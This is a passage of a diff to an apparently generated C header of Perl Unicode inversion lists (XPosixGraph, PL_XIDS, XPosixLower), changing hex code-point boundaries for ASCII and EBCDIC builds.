- 0x376, + 0xF0, + 0xFA, + 0x660, + 0x66A, + 0x6F0, + 0x6FA, + 0x7C0, + 0x7CA, + 0x966, + 0x970, + 0x9E6, + 0x9F0, + 0xA66, + 0xA70, + 0xAE6, + 0xAF0, + 0xB66, + 0xB70, + 0xBE6, + 0xBF0, + 0xC66, + 0xC70, + 0xCE6, + 0xCF0, + 0xD66, + 0xD70, + 0xDE6, + 0xDF0, + 0xE50, + 0xE5A, + 0xED0, + 0xEDA, + 0xF20, + 0xF2A, + 0x1040, + 0x104A, + 0x1090, + 0x109A, + 0x17E0, + 0x17EA, + 0x1810, + 0x181A, + 0x1946, + 0x1950, + 0x19D0, + 0x19DA, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1B50, + 0x1B5A, + 0x1BB0, + 0x1BBA, + 0x1C40, + 0x1C4A, + 0x1C50, + 0x1C5A, + 0xA620, + 0xA62A, + 0xA8D0, + 0xA8DA, + 0xA900, + 0xA90A, + 0xA9D0, + 0xA9DA, + 0xA9F0, + 0xA9FA, + 0xAA50, + 0xAA5A, + 0xABF0, + 0xABFA, + 0xFF10, + 0xFF1A, + 0x104A0, + 0x104AA, + 0x11066, + 0x11070, + 0x110F0, + 0x110FA, + 0x11136, + 0x11140, + 0x111D0, + 0x111DA, + 0x112F0, + 0x112FA, + 0x11450, + 0x1145A, + 0x114D0, + 0x114DA, + 0x11650, + 0x1165A, + 0x116C0, + 0x116CA, + 0x11730, + 0x1173A, + 0x118E0, + 0x118EA, + 0x11C50, + 0x11C5A, + 0x16A60, + 0x16A6A, + 0x16B50, + 0x16B5A, + 0x1D7CE, + 0x1D800, + 0x1E950, + 0x1E95A +}; + +static const UV XPosixGraph_invlist[] = { /* for EBCDIC 037 */ + 1287, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x42, + 0xFF, + 0x100, 0x378, - 0x37B, - 0x37E, - 0x37F, + 0x37A, 0x380, - 0x386, - 0x387, - 0x388, + 0x384, 0x38B, 0x38C, 0x38D, 0x38E, 0x3A2, 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, 0x530, 0x531, 0x557, 0x559, - 0x55A, + 0x560, 0x561, 0x588, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, 0x5D0, 0x5EB, 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, 0x74D, - 0x7A6, - 0x7B1, 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, + 0x7C0, 0x7FB, 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, + 0x82E, + 0x830, + 0x83F, 0x840, - 0x859, - 0x860, - 0x86B, + 0x85C, + 0x85E, + 0x85F, 0x8A0, 0x8B5, 0x8B6, 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, + 0x8D4, + 0x984, 0x985, 0x98D, 0x98F, @@ -365725,18 +88355,22 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x9B3, 0x9B6, 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, 0x9CF, + 0x9D7, + 0x9D8, 0x9DC, 0x9DE, 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, + 0x9E4, + 0x9E6, 0x9FC, - 0x9FD, + 0xA01, + 0xA04, 0xA05, 0xA0B, 0xA0F, @@ -365751,12 +88385,24 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xA37, 0xA38, 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, 0xA59, 0xA5D, 0xA5E, 0xA5F, - 0xA72, - 0xA75, + 0xA66, + 0xA76, + 0xA81, + 0xA84, 0xA85, 0xA8E, 0xA8F, @@ -365769,14 +88415,22 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xAB4, 0xAB5, 0xABA, - 0xABD, - 0xABE, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, 0xAD0, 0xAD1, 0xAE0, - 0xAE2, + 0xAE4, + 0xAE6, + 0xAF2, 0xAF9, 0xAFA, + 0xB01, + 0xB04, 0xB05, 0xB0D, 0xB0F, @@ -365789,15 +88443,21 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xB34, 0xB35, 0xB3A, - 0xB3D, - 0xB3E, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, 0xB5C, 0xB5E, 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, + 0xB64, + 0xB66, + 0xB78, + 0xB82, 0xB84, 0xB85, 0xB8B, @@ -365817,8 +88477,20 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xBAB, 0xBAE, 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, 0xBD0, 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, 0xC05, 0xC0D, 0xC0E, @@ -365828,13 +88500,21 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xC2A, 0xC3A, 0xC3D, - 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, 0xC58, 0xC5B, 0xC60, - 0xC62, - 0xC80, - 0xC81, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, 0xC85, 0xC8D, 0xC8E, @@ -365845,14 +88525,24 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xCB4, 0xCB5, 0xCBA, - 0xCBD, - 0xCBE, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, 0xCDE, 0xCDF, 0xCE0, - 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, 0xCF1, 0xCF3, + 0xD01, + 0xD04, 0xD05, 0xD0D, 0xD0E, @@ -365860,15 +88550,17 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xD12, 0xD3B, 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, + 0xD64, + 0xD66, 0xD80, + 0xD82, + 0xD84, 0xD85, 0xD97, 0xD9A, @@ -365879,12 +88571,22 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xDBE, 0xDC0, 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, + 0xE3B, + 0xE3F, + 0xE5C, 0xE81, 0xE83, 0xE84, @@ -365908,52 +88610,38 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xEAA, 0xEAC, 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, + 0xEBA, + 0xEBB, 0xEBE, 0xEC0, 0xEC5, 0xEC6, 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, 0xEDC, 0xEE0, 0xF00, - 0xF01, - 0xF40, 0xF48, 0xF49, 0xF6D, - 0xF88, - 0xF8D, + 0xF71, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFCD, + 0xFCE, + 0xFDB, 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, 0x10C6, 0x10C7, 0x10C8, 0x10CD, 0x10CE, 0x10D0, - 0x10FB, - 0x10FC, 0x1249, 0x124A, 0x124E, @@ -365985,51 +88673,59 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x1316, 0x1318, 0x135B, + 0x135D, + 0x137D, 0x1380, - 0x1390, + 0x139A, 0x13A0, 0x13F6, 0x13F8, 0x13FE, - 0x1401, - 0x166D, - 0x166F, + 0x1400, 0x1680, 0x1681, - 0x169B, + 0x169D, 0x16A0, - 0x16EB, - 0x16EE, 0x16F9, 0x1700, 0x170D, 0x170E, - 0x1712, + 0x1715, 0x1720, - 0x1732, + 0x1737, 0x1740, - 0x1752, + 0x1754, 0x1760, 0x176D, 0x176E, 0x1771, + 0x1772, + 0x1774, 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, 0x1820, 0x1878, 0x1880, - 0x18A9, - 0x18AA, 0x18AB, 0x18B0, 0x18F6, 0x1900, 0x191F, - 0x1950, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, 0x196E, 0x1970, 0x1975, @@ -366037,39 +88733,43 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x19AC, 0x19B0, 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, + 0x1CC0, + 0x1CC8, + 0x1CD0, 0x1CF7, + 0x1CF8, + 0x1CFA, 0x1D00, - 0x1DC0, - 0x1E00, + 0x1DF6, + 0x1DFB, 0x1F16, 0x1F18, 0x1F1E, @@ -366090,66 +88790,62 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x1F80, 0x1FB5, 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, 0x1FC5, 0x1FC6, - 0x1FCD, - 0x1FD0, 0x1FD4, 0x1FD6, 0x1FDC, - 0x1FE0, - 0x1FED, + 0x1FDD, + 0x1FF0, 0x1FF2, 0x1FF5, 0x1FF6, - 0x1FFD, - 0x2071, + 0x1FFF, + 0x200B, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x2065, + 0x2066, 0x2072, - 0x207F, - 0x2080, + 0x2074, + 0x208F, 0x2090, 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, + 0x2100, + 0x218C, + 0x2190, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, + 0x2BD2, + 0x2BEC, + 0x2BF0, 0x2C00, 0x2C2F, 0x2C30, 0x2C5F, 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, 0x2CF4, - 0x2D00, + 0x2CF9, 0x2D26, 0x2D27, 0x2D28, @@ -366158,8 +88854,8 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x2D30, 0x2D68, 0x2D6F, - 0x2D70, - 0x2D80, + 0x2D71, + 0x2D7F, 0x2D97, 0x2DA0, 0x2DA7, @@ -366177,120 +88873,82 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x2DD7, 0x2DD8, 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, + 0x2DE0, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3001, + 0x3040, 0x3041, 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, + 0x3099, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, - 0x31A0, + 0x3190, 0x31BB, + 0x31C0, + 0x31E4, 0x31F0, - 0x3200, - 0x3400, + 0x321F, + 0x3220, + 0x32FF, + 0x3300, 0x4DB6, - 0x4E00, - 0x9FEB, + 0x4DC0, + 0x9FD6, 0xA000, 0xA48D, + 0xA490, + 0xA4C7, 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, 0xA62C, 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, + 0xA6F8, + 0xA700, 0xA7AF, 0xA7B0, 0xA7B8, 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, + 0xA82C, + 0xA830, + 0xA83A, 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, + 0xA878, + 0xA880, + 0xA8C6, + 0xA8CE, + 0xA8DA, + 0xA8E0, 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, + 0xA900, + 0xA954, + 0xA95F, 0xA97D, - 0xA984, - 0xA9B3, + 0xA980, + 0xA9CE, 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, + 0xA9DA, + 0xA9DE, 0xA9FF, 0xAA00, - 0xAA29, + 0xAA37, 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, 0xAAC3, 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, + 0xAAF7, 0xAB01, 0xAB07, 0xAB09, @@ -366302,18 +88960,18 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xAB28, 0xAB2F, 0xAB30, - 0xAB5B, - 0xAB5C, 0xAB66, 0xAB70, - 0xABE3, + 0xABEE, + 0xABF0, + 0xABFA, 0xAC00, 0xD7A4, 0xD7B0, 0xD7C7, 0xD7CB, 0xD7FC, - 0xF900, + 0xE000, 0xFA6E, 0xFA70, 0xFADA, @@ -366322,10 +88980,6 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xFB13, 0xFB18, 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, 0xFB37, 0xFB38, 0xFB3D, @@ -366336,38 +88990,30 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xFB43, 0xFB45, 0xFB46, - 0xFBB2, + 0xFBC2, 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, + 0xFD40, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, + 0xFDFE, + 0xFE00, + 0xFE1A, + 0xFE20, + 0xFE53, + 0xFE54, + 0xFE67, + 0xFE68, + 0xFE6C, + 0xFE70, + 0xFE75, + 0xFE76, 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, + 0xFEFF, + 0xFF00, + 0xFF01, 0xFFBF, 0xFFC2, 0xFFC8, @@ -366377,6 +89023,12 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0xFFD8, 0xFFDA, 0xFFDD, + 0xFFE0, + 0xFFE7, + 0xFFE8, + 0xFFEF, + 0xFFF9, + 0xFFFE, 0x10000, 0x1000C, 0x1000D, @@ -366391,28 +89043,40 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x1005E, 0x10080, 0x100FB, - 0x10140, - 0x10175, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, 0x10280, 0x1029D, 0x102A0, 0x102D1, + 0x102E0, + 0x102FC, 0x10300, - 0x10320, - 0x1032D, + 0x10324, + 0x10330, 0x1034B, 0x10350, - 0x10376, + 0x1037B, 0x10380, 0x1039E, - 0x103A0, + 0x1039F, 0x103C4, 0x103C8, - 0x103D0, - 0x103D1, 0x103D6, 0x10400, 0x1049E, + 0x104A0, + 0x104AA, 0x104B0, 0x104D4, 0x104D8, @@ -366421,6 +89085,8 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x10528, 0x10530, 0x10564, + 0x1056F, + 0x10570, 0x10600, 0x10737, 0x10740, @@ -366439,76 +89105,94 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x1083D, 0x1083F, 0x10856, - 0x10860, - 0x10877, - 0x10880, + 0x10857, 0x1089F, + 0x108A7, + 0x108B0, 0x108E0, 0x108F3, 0x108F4, 0x108F6, - 0x10900, - 0x10916, - 0x10920, + 0x108FB, + 0x1091C, + 0x1091F, 0x1093A, + 0x1093F, + 0x10940, 0x10980, 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, 0x10A14, 0x10A15, 0x10A18, 0x10A19, 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, + 0x10AA0, 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, + 0x10AE7, + 0x10AEB, + 0x10AF7, 0x10B00, 0x10B36, - 0x10B40, + 0x10B39, 0x10B56, - 0x10B60, + 0x10B58, 0x10B73, - 0x10B80, + 0x10B78, 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, 0x10C00, 0x10C49, 0x10C80, 0x10CB3, 0x10CC0, 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, + 0x110C2, 0x110D0, 0x110E9, - 0x11103, - 0x11127, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11144, 0x11150, - 0x11173, - 0x11176, 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, + 0x11180, + 0x111CE, + 0x111D0, + 0x111E0, + 0x111E1, + 0x111F5, 0x11200, 0x11212, 0x11213, - 0x1122C, + 0x1123F, 0x11280, 0x11287, 0x11288, @@ -366518,9 +89202,13 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x1128F, 0x1129E, 0x1129F, - 0x112A9, + 0x112AA, 0x112B0, - 0x112DF, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, 0x11305, 0x1130D, 0x1130F, @@ -366533,72 +89221,78 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x11334, 0x11335, 0x1133A, - 0x1133D, - 0x1133E, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, 0x11350, 0x11351, + 0x11357, + 0x11358, 0x1135D, - 0x11362, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, 0x11400, - 0x11435, - 0x11447, - 0x1144B, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, 0x114C8, + 0x114D0, + 0x114DA, 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, + 0x115B6, + 0x115B8, + 0x115DE, 0x11600, - 0x11630, - 0x11644, 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, 0x11680, - 0x116AB, + 0x116B8, + 0x116C0, + 0x116CA, 0x11700, 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, 0x118A0, - 0x118E0, + 0x118F3, 0x118FF, 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, 0x11AC0, 0x11AF9, 0x11C00, 0x11C09, 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, 0x12000, 0x1239A, 0x12400, 0x1246F, + 0x12470, + 0x12475, 0x12480, 0x12544, 0x13000, @@ -366609,12 +89303,20 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x16A39, 0x16A40, 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, 0x16AD0, 0x16AEE, + 0x16AF0, + 0x16AF6, 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, 0x16B63, 0x16B78, 0x16B7D, @@ -366622,19 +89324,17 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x16F00, 0x16F45, 0x16F50, - 0x16F51, - 0x16F93, + 0x16F7F, + 0x16F8F, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, 0x17000, 0x187ED, 0x18800, 0x18AF3, 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -366643,6 +89343,20 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x1BC89, 0x1BC90, 0x1BC9A, + 0x1BC9C, + 0x1BCA4, + 0x1D000, + 0x1D0F6, + 0x1D100, + 0x1D127, + 0x1D129, + 0x1D1E9, + 0x1D200, + 0x1D246, + 0x1D300, + 0x1D357, + 0x1D360, + 0x1D372, 0x1D400, 0x1D455, 0x1D456, @@ -366682,31 +89396,33 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x1D552, 0x1D6A6, 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, 0x1D7CC, + 0x1D7CE, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, 0x1E800, 0x1E8C5, + 0x1E8C7, + 0x1E8D7, 0x1E900, - 0x1E944, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, 0x1EE00, 0x1EE04, 0x1EE05, @@ -366773,6 +89489,72 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x1EEAA, 0x1EEAB, 0x1EEBC, + 0x1EEF0, + 0x1EEF2, + 0x1F000, + 0x1F02C, + 0x1F030, + 0x1F094, + 0x1F0A0, + 0x1F0AF, + 0x1F0B1, + 0x1F0C0, + 0x1F0C1, + 0x1F0D0, + 0x1F0D1, + 0x1F0F6, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, + 0x1F130, + 0x1F16C, + 0x1F170, + 0x1F1AD, + 0x1F1E6, + 0x1F203, + 0x1F210, + 0x1F23C, + 0x1F240, + 0x1F249, + 0x1F250, + 0x1F252, + 0x1F300, + 0x1F6D3, + 0x1F6E0, + 0x1F6ED, + 0x1F6F0, + 0x1F6F7, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, + 0x1F800, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, + 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93F, + 0x1F940, + 0x1F94C, + 0x1F950, + 0x1F95F, + 0x1F980, + 0x1F992, + 0x1F9C0, + 0x1F9C1, 0x20000, 0x2A6D7, 0x2A700, @@ -366781,21 +89563,22 @@ static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ 0x2B81E, 0x2B820, 0x2CEA2, - 0x2CEB0, - 0x2EBE1, 0x2F800, - 0x2FA1E + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, + 0xF0000, + 0xFFFFE, + 0x100000, + 0x10FFFE }; -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XIDS_invlist[] = { /* for EBCDIC 1047 */ - 1211, /* Number of elements */ +static const UV XPosixLower_invlist[] = { /* for EBCDIC 037 */ + 1289, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ @@ -366804,575 +89587,1007 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 1047 */ 0x4A, 0x51, 0x5A, - 0x62, - 0x6A, 0x70, - 0x79, - 0x80, + 0x71, + 0x81, 0x8A, 0x8C, 0x8F, 0x91, 0x9D, - 0x9E, - 0x9F, 0xA0, 0xA1, 0xA2, 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, 0xCB, 0xD0, - 0xD1, - 0xDA, 0xDB, 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 